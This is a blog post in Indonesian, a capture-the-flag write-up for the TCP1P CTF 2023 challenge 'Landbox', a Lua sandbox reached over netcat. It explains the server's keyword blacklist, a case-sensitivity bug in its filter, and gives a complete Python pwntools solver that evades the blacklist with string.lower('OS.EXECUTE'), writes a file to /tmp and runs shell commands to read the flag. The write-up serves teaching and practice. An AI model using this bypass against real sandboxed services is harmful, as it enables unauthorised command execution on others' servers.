DEV Community

Edqe14
Edqe14

Posted on

TCP1P CTF β€” Landbox

Halo teman-teman hackerπŸ‘‹! Di artikel ini, kita akan membahas terkait tentang sebuah chall(enge) dari TCP1P CTF 2023, yang berjudul: Landbox.

Challenge preview

πŸ€” Latar belakang

Jadi, apa sih tantangan satu ini? Dari deskripsinya saja, kita dapat mengetahui bahwa aplikasi ini dibuat dari Lua.

Chall description

Selain itu, kita juga mendapatkan sebuah IP serta port untuk dihubungi dengan netcat. Disaat kita terhubung dengan IP tersebut, kita akan mendapat kalimat pengantar untuk tantangan ini. Disini, kita dapat memasukkan kode lua dan dapat diakhiri dengan -- END.

$ nc 51.161.84.3 22041 Welcome to Landbox! (LUA Sandbox) Feel free to type your lua code below, type '-- END' once you are done ;) -- BEGIN print('hello world') -- END -- OUTPUT BEGIN hello world -- OUTPUT END 
Enter fullscreen mode Exit fullscreen mode

✏ Yang kita pelajari

  1. Aplikasi ini dibuat dari Lua.
  2. Aplikasi ini dapat menjalankan kode lua yang dimasukkan ❗

Karena kita hanya mendapat informasi yang terbatas, ayo kita lihat source code yang diberikan.

πŸ‘©β€πŸ’» Source code

Source codes

Dari tantangan ini, kita mendapat 2 file, yaitu main.lua dan sebuah Dockerfile. Mari kita lihat Dockerfilenya terlebih dahulu, karena kita mungkin bisa mendapat informasi lebih seperti: versi lua, lokasi flag.txt, dll.

🐳 Dockerfile

FROM ubuntu:latest # ... dipotong biar lebih singkat RUN apt-get -y install lua5.4 socat # ... dipotong biar lebih singkat RUN chown root:root /flag.txt RUN mv /flag.txt /flag-`md5sum /flag.txt | awk '{print $1}'`.txt # ... dipotong biar lebih singkat 
Enter fullscreen mode Exit fullscreen mode

✏ Yang kita pelajari

  1. Versi lua yang dipakai adalah versi 5.4,
  2. File flag.txt diubah menjadi flag-<hash md5 flag>.txt.

Nah, sekarang yang telah ditunggu-tunggu...

βš™ main.lua

Yang pertama kita lihat setelah membuka file ini yaitu sebuah function untuk menjalankan kode yang kita input.

function run(untrusted_code) env['string']['char'] = function() end env['string']['format'] = function() end env['string']['gsub'] = function() end env['string']['sub'] = function() end local res, err = load(untrusted_code, nil, 't', env) if not res then print('Error: ' .. err) return nil, err end return pcall(res) end -- ... dipotong biar lebih singkat local res, err = run(code) -- ... dipotong biar lebih singkat 
Enter fullscreen mode Exit fullscreen mode

Sekarang, kita punya tujuan untuk membuat sebuah payload untuk mendapatkan flag dari tantangan ini. Namun, sebelum itu, kita harus melewati 3 pengecekan yaitu:

πŸ₯‡ 1st check

blacklist = {'os.execute', 'execute', 'io.popen', 'popen', 'package.loadlib', 'loadlib'} for line in code:gmatch("[^\n]+") do for i = 1, #blacklist do if string.find(line, blacklist[i]) then print('No! bad code!') return end end end 
Enter fullscreen mode Exit fullscreen mode

Dari penggalan kode ini, kode yang kita input tidak boleh mengandung kata-kata yang didalam blacklist atau kita tidak dapat melanjutkan ke step kedua.

πŸ₯ˆ 2nd check

sanitized = string.gsub(code, '%W', '') sanitized = string.gsub(sanitized, '%d', '') for i = 1, #blacklist do if string.find(sanitized, blacklist[i]) then print('No! bad code!') return end local parts = {} for part in sanitized:gmatch("0x%x?%x") do table.insert(parts, part) end local result = '' for j = 1, #parts do result = result .. string.char(tonumber(parts[j]:sub(3), 16)) end if string.find(result, blacklist[i]) then print('No! bad code!') return end end 
Enter fullscreen mode Exit fullscreen mode

Waduuh, yang kedua ini lebih kompleks dari pada yang pertama. Tapi, sebenarnya tidak sesusah itu. Kode string.gsub ini, berdasarkan dokumentasi lua, digunakan untuk mengubah semua karakter yang cocok dengan karakter yang baru.

sanitized = string.gsub(code, '%W', '') sanitized = string.gsub(sanitized, '%d', '') 
Enter fullscreen mode Exit fullscreen mode

Pattern matcher

Seperti digambar, sanitized ini adalah hasil dari fungsi string.gsub. Di gsub pertama, ternyata ada bug yang mungkin awalnya membuat kita bingung, yaitu pattern %W. Sesuai dari tabel pattern diatas, %W seharusnya menghapus semua karakter alphanumeric, namun karena pattern ini case-sensitive, huruf kapital W ini tidak melakukan apa-apa. Sedangkan yang sanitized kedua, ini akan menghapus semua angka dari kode kita.

Ada juga kode yang mengubah karakter hexadesimal menjadi karakter yang dapat dicek dengan list blacklist.

local parts = {} for j = 1, #parts do result = result .. string.char(tonumber(parts[j]:sub(3), 16)) end 
Enter fullscreen mode Exit fullscreen mode

Sama seperti step pertama, hasil yang didapatkan akan dicek kembali dengan list blacklist.

πŸ₯‰ 3rd check

local result = {} for match in code:gmatch("['\"](.-)['\"]") do table.insert(result, match) end local sanitized = '' for i = 1, #result do sanitized = sanitized .. result[i] end for i = 1, #blacklist do if string.find(sanitized, blacklist[i]) then print('No! bad code!') return end local parts = {} for part in sanitized:gmatch("\\x%x%x") do table.insert(parts, part) end local result = '' for j = 1, #parts do result = result .. string.char(tonumber(parts[j]:sub(3), 16)) end if string.find(result, blacklist[i]) then print('No! bad code!') return end end 
Enter fullscreen mode Exit fullscreen mode

Sama seperti pengecekan kedua, disini semua kata didalam petik akan dicek dengan blacklist, juga dengan semua karakter hexadesimal.

✏ Yang kita pelajari

  1. Payload kita tidak boleh mengandung kata-kata dalam blacklist,
  2. Kita juga tidak bisa menggunakan karakter hexadesimal.

Dengan informasi yang kita dapat, kita sekarang bisa membuat solver untuk tantangan ini.

🧠 Solver

Aku disini akan pakai Python dengan library pwntools. Ayo, kita buat secara perlahan.

Pertama, kita butuh membuat sebuah interface untuk berkomunikasi dengan servernya.

from pwn import * import inspect def conn(): # replace host and port for remote  io = remote("localhost", 1337) return io 
Enter fullscreen mode Exit fullscreen mode

β„Ή Info
Kita bisa menjalankan server lokal sendiri menggunakan Dockerfile yang diberikan

Kedua, kita harus membuat kode lua yang dapat menjalankan command atau shell di konsol.

def write(cmd: str): payload = f""" local f=io.open("/tmp/shell.lua", "wb") f:write([[ load(string.lower("OS.EXECUTE") .. "('{cmd}')")() ]]) io.close(f) -- END """ payload = inspect.cleandoc(payload) return payload def exec(): payload = """ f = assert(loadfile('/tmp/shell.lua')); f(); -- END """ payload = inspect.cleandoc(payload) return payload 
Enter fullscreen mode Exit fullscreen mode

Didalam fungsi write, kita membuat sebuah file di /tmp/shell.lua dengan menggunakan fungsi io.open lua. Kita dapat menggunakan io.open karena yang dilarang itu adalah io.(p)open. Lalu, untuk bisa melewati larangan os.execute, kita dapat menggunakan fungsi string.lower untuk mengubah huruf besar menjadi huruf kecil.

Lalu, dalam fungsi exec, kita dapat menjalankan file /temp/shell.lua dengan memanfaatkan fungsi assert dan loadfile dilua.

Ketiga dan yang terakhir, kita dapat menjalankan kedua fungsi diatas dengan 2 koneksi yang berbeda. Dikarenakan file flag diubah, kita harus menjalankan 2 command linux, yaitu: ls dan cat.

def send(cmd: str): with conn() as io: p1 = write(cmd) io.sendlineafter(b"-- BEGIN", p1.encode()) io.recvuntilS(b"-- OUTPUT END") with conn() as io: p2 = exec() io.sendlineafter(b"-- BEGIN", p2.encode()) output = io.recvuntilS(b"-- OUTPUT END") log.info(output) return output def main(): output = send('ls -la /') flag = re.findall(r'flag-(.+).txt', output, re.MULTILINE) send('cat /flag-{}.txt'.format(flag[0])) 
Enter fullscreen mode Exit fullscreen mode

Berikut adalah script penuhnya

from pwn import * import inspect def conn(): # replace host and port for remote  io = remote("localhost", 1337) return io def write(cmd: str): payload = f""" local f=io.open("/tmp/shell.lua", "wb") f:write([[ load(string.lower("OS.EXECUTE") .. "('{cmd}')")() ]]) io.close(f) -- END """ payload = inspect.cleandoc(payload) return payload def exec(): payload = """ f = assert(loadfile('/tmp/shell.lua')); f(); -- END """ payload = inspect.cleandoc(payload) return payload def send(cmd: str): with conn() as io: p1 = write(cmd) io.sendlineafter(b"-- BEGIN", p1.encode()) io.recvuntilS(b"-- OUTPUT END") with conn() as io: p2 = exec() io.sendlineafter(b"-- BEGIN", p2.encode()) output = io.recvuntilS(b"-- OUTPUT END") log.info(output) return output def main(): output = send('ls -la /') flag = re.findall(r'flag-(.+).txt', output, re.MULTILINE) send('cat /flag-{}.txt'.format(flag[0])) if __name__ == "__main__": main() 
Enter fullscreen mode Exit fullscreen mode

Saat kita jalankan:

$ python ./solver.py # ... [*] -- OUTPUT BEGIN total 72 drwxr-xr-x 1 root root 4096 Oct 17 02:31 . drwxr-xr-x 1 root root 4096 Oct 17 02:31 .. -rwxr-xr-x 1 root root 0 Oct 17 02:31 .dockerenv lrwxrwxrwx 1 root root 7 Oct 4 02:08 bin -> usr/bin drwxr-xr-x 2 root root 4096 Apr 18 2022 boot drwxr-xr-x 1 root root 4096 Oct 17 02:26 ctf drwxr-xr-x 5 root root 360 Oct 17 02:31 dev drwxr-xr-x 1 root root 4096 Oct 17 02:31 etc -rwxr--r-- 1 root root 47 Oct 17 02:25 flag-cd55f8dcbf9176753d5e91133c78e172.txt drwxr-xr-x 2 root root 4096 Apr 18 2022 home lrwxrwxrwx 1 root root 7 Oct 4 02:08 lib -> usr/lib lrwxrwxrwx 1 root root 9 Oct 4 02:08 lib32 -> usr/lib32 lrwxrwxrwx 1 root root 9 Oct 4 02:08 lib64 -> usr/lib64 lrwxrwxrwx 1 root root 10 Oct 4 02:08 libx32 -> usr/libx32 drwxr-xr-x 2 root root 4096 Oct 4 02:08 media drwxr-xr-x 2 root root 4096 Oct 4 02:08 mnt drwxr-xr-x 2 root root 4096 Oct 4 02:08 opt dr-xr-xr-x 366 root root 0 Oct 17 02:31 proc drwx------ 2 root root 4096 Oct 4 02:12 root drwxr-xr-x 5 root root 4096 Oct 4 02:12 run lrwxrwxrwx 1 root root 8 Oct 4 02:08 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 Oct 4 02:08 srv dr-xr-xr-x 11 root root 0 Oct 17 02:31 sys drwxrwxrwt 1 root root 4096 Oct 17 02:52 tmp drwxr-xr-x 1 root root 4096 Oct 4 02:08 usr drwxr-xr-x 1 root root 4096 Oct 4 02:12 var -- OUTPUT END # ... [*] -- OUTPUT BEGIN TCP1P{complex_problem_requires_simple_solution}-- OUTPUT END 
Enter fullscreen mode Exit fullscreen mode

πŸŽ‰ Akhirnya kita mendapat flagnya, kawan~

TCP1P{complex_problem_requires_simple_solution} 
Enter fullscreen mode Exit fullscreen mode

Akhir kata, terima kasih untuk membaca write-up ini ^v^. Apabila ada kritik atau masukkan, silahkan komen saja dibawah atau email ke hello@edqe.me.

πŸ“ Referensi

Terima kasih untuk write-up dari 4n86rakam1 yang menjadi basis dari artikel & write-up ini.

Top comments (0)